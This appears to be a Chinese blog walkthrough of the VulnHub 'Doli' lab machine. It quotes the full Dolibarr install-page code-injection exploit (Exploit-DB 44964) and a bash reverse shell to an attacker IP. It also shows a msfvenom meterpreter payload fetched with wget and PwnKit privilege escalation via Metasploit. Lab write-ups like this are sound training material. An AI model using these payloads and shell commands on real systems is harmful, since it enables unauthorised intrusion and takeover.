点我直接下载靶机https://download.vulnhub.com/doli/doli-vulnhub-fixed.ova
通过arp-scanl -l来获取当前网段的存活ip。
再根据创建虚拟机的时候的MAC地址就可以拿到靶机的IP
我们这里用nmap -sS -sV -A -T4 -p- IP对靶机进行全端口综合扫描
扫描结果如下
通过nmap扫描发现开放了http/80和ssh/22这两个端口,ssh的服务一般除了弱口令就没什么可以直接利用的洞了(如果有,一点要私信博主讨论)
看来这个靶机渗透思路就是要从http下手了,我们接下来访问一下这个靶机的web服务
发现是一个Apache搭建的网站,这个页面是Apache的默认页(这里挺奇怪的,nmap扫的时候中间件是nginx,结果主页却是apache,有点奇怪的东西在里面)
Ctrl+u查看网页的源码,也没发现什么特别的地方。如下两图
既然都没有我们就直接用gobuster爆破目录
发现居然什么都没有扫描到,只有一个主界面的index.html文件(下图)
gobuster dir -u http://192.168.100.33/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
后来博主在一个渗透大佬那了解到,要给这个靶机一个"doli.thm"的域名和一个"erp.doli.thm"的子域(这个子域是爆出来的)
根据如下操作给hosts文件添加这个靶机的ip和域名解析
PS:该靶机的Github项目https://github.com/Dolibarr/dolibarr
我们用"searchsploit doli"搜一下这个项目的exp
发现了一个PHP的代码注入的说明文件。
我们cat一下看看这个说明文件,如下
┌──(root㉿kali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/44964.txt
# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3
# Date: 06/29/2018
# Exploit Author: om3rcitak - https://omercitak.com
# Vendor Homepage: https://dolibarr.org
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: =<7.0.3
# Tested on: Unix, Windows
## Technical Details
URL: http://{domain}/{dolibarr_path}/install/step1.php
Parameter Name: db_name
Parameter Type: POST
Attack Pattern: x\';system($_GET[cmd]);//
## Steps to reproduce the behavior
- Go to fresh install page.
- Click "Next Step" button for create example config file (conf/conf.php)
- Send this request:
```
POST {dolibarr_path}/install/step1.php HTTP/1.1
Host: {domain}
testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
```
- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`
## Timeline
- 06/29/2018 18:30 - Found vulnerability.
- 06/29/2018 18:44 - Report vendor.
- 06/29/2018 20:38 - Vulnerability fixed by vendor.
GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032
这个说明文件大概内容就是
通过修改这个数据库的配置文件发出请求的db_name(改为这个说明文件上面的exp代码就可以完成注入)
然后再通过这个网站的/install/step1.php的安装文件来利用这个注入进去的代码
那么下面开始实操
我们通过gubuter工具来爆一下/install/下面的目录
gobuster dir -u http://erp.doli.thm/install/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
发现了一个Brian.php的php文件,并且302到的位置有一个/Seth.php?testget=ok的参数,所以是这个文件没错了
那么我们访问一下这个php文件
我们直接拉到这个网站最底下,点击这个star按钮
点击那个按钮之后即可跳转到如下的mysql配置界面
下面的操作需要在Kali搭建Mysql数据库(可以先自己看看教程),否则无法利用
根据那个44964.txt说明文件数据库搭建好之后我们需要使用Burpsuite来抓包,来修改db_name字段
点击那个按钮之后我们的Burpsuite就会弹出来,如下图
我们需要修改db_name参数里面的值
db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F
发送之后我们接下再来访问一下Brain.php界面
http://erp.doli.thm/install/Brian.php
会发现自动跳转到了Seth.php界面了,如下图
我们现在给Seth.php传一下cmd=whoami,发现正常返回了当前的用户名了
我们使用kali利用nc工具监听一下1234端口,用于获取反弹shell
我们在给cmd参数注入如下命令,然后回车
bash+-c+%27bash+-i+%3E%26+/dev/tcp/192.168.100.7/1234+0%3E%261%27
可以看到下图,我们的nc监听的端口拿到了web反弹下来的shell了
我们对nginx的日志目录进行审查一下,如下
#到/var/log/nginx目录下
www-data@Doli:/tmp$ cd /var/log/nginx
#用ls =al发现有一个.bk的可疑文件
www-data@Doli:/var/log/nginx$ ls -al
total 535240
drwxr-xr-x 3 root adm 4096 Mar 22 2021 .
drwxrwxr-x 10 root syslog 4096 Nov 26 15:35 ..
drwxr-xr-x 2 www-data www-data 4096 Mar 22 2021 .bk
-rw-r----- 1 www-data adm 338119216 Nov 26 23:52 access.log
-rw-r----- 1 www-data adm 209943239 Nov 26 23:43 error.log
#cd到这个.bk文件里面
www-data@Doli:/var/log/nginx$ cd .bk
#再用ls -al看一下,发现了一个access.log.bk文件
www-data@Doli:/var/log/nginx/.bk$ ls -al
total 180
drwxr-xr-x 2 www-data www-data 4096 Mar 22 2021 .
drwxr-xr-x 3 root adm 4096 Mar 22 2021 ..
-rw-r----- 1 www-data www-data 175190 Mar 21 2021 access.log.bk
我们用cat看看这个access.log.bk文件,往里下面慢慢翻,发现了一个被编码的GET请求
172.16.1.1 - - [20/Mar/2021:13:03:38 +0000] "GET/5455644852464247526b464a526b4e4254455a435155314752304651516b5a4653554e4453464243526b564a5304e45544564435245314652304a4c5155464754304646526b74425155593d HTTP/1.1" 403 152 "-""Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
我们现在找找其他的关键线索
前往/opt目录找找,如下操作
#我们现在切换到/opt目录
www-data@Doli:/var/log/nginx/.bk$ cd /opt
#用ls -al看一下,发现了一个ViewMe.png文件
www-data@Doli:/opt$ ls -al
total 44
drwxr-xr-x 4 root root 4096 Mar 22 2021 .
drwxr-xr-x 23 root root 4096 Nov 26 15:35 ..
-rw-r--r-- 1 www-data www-data 21494 Oct 22 2013 ViewMe.png
drwxrwxr-x+ 2 c3p0 c3p0 4096 Mar 21 2021 playbooks
dr-------- 2 root root 4096 Mar 21 2021 secrets
-rwxrwxr-x 1 root m3dsec 55 Mar 22 2021 stewie.el
我们把这个文件拷贝到这个网站的install目录下
www-data@Doli:/opt$ cp ViewMe.png /var/www/dolibarr/htdocs/install/
我们通过访问http://erp.doli.thm/install/ViewMe.png
如下,发现了一个写着一个CiTR!X的字样(盲猜Citrix编码),这应该是一个加密方法
我们访问CyberChef (gchq.github.io)这个页面,对我们上面获得编码信息进行解码
可以看到Output处就出现了一个c3p0p4ssw0rd@@的密码
如下图,我们到/home目录下看到工号有一个c3p0的用户
我们用我们获取到的密码ssh登录一下c3p0这个用户,如下图,成功登录
我们现在回到kali里面去 ,用msfvenom生成一个meterpreter的载荷
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=5678 -f elf > shell.elf
再拿python开一个http服务,好用靶机的wget下载这个生成好的文件
我们再开一个终端,进入msf里面,使用exploit/multi/handler模块并配置一下监听地址和payload
如下图操作所示
现在我们再到ssh连接的这里来,用wget下载一下这个payload
并且用"chmod +x shell.elf"命令给这个文件一个执行权限,并用./shell.elf执行这个文件
执行完之后,我们就会发现我们之前在msf的handler模块已经监听到了反弹过来的meterpreter
我们在这里执行一下"background"命令,把这个会话保存到后台去
我们使用msf的"linux/local/cve_2021_4034_pwnkit_lpe_pkexec"模块给靶机提权
根据下图进行操作
攻击成功之后,我们用shell命令进入到靶机的命令行,进行如下操作
获取到flag之后我们的靶机就已经渗透完成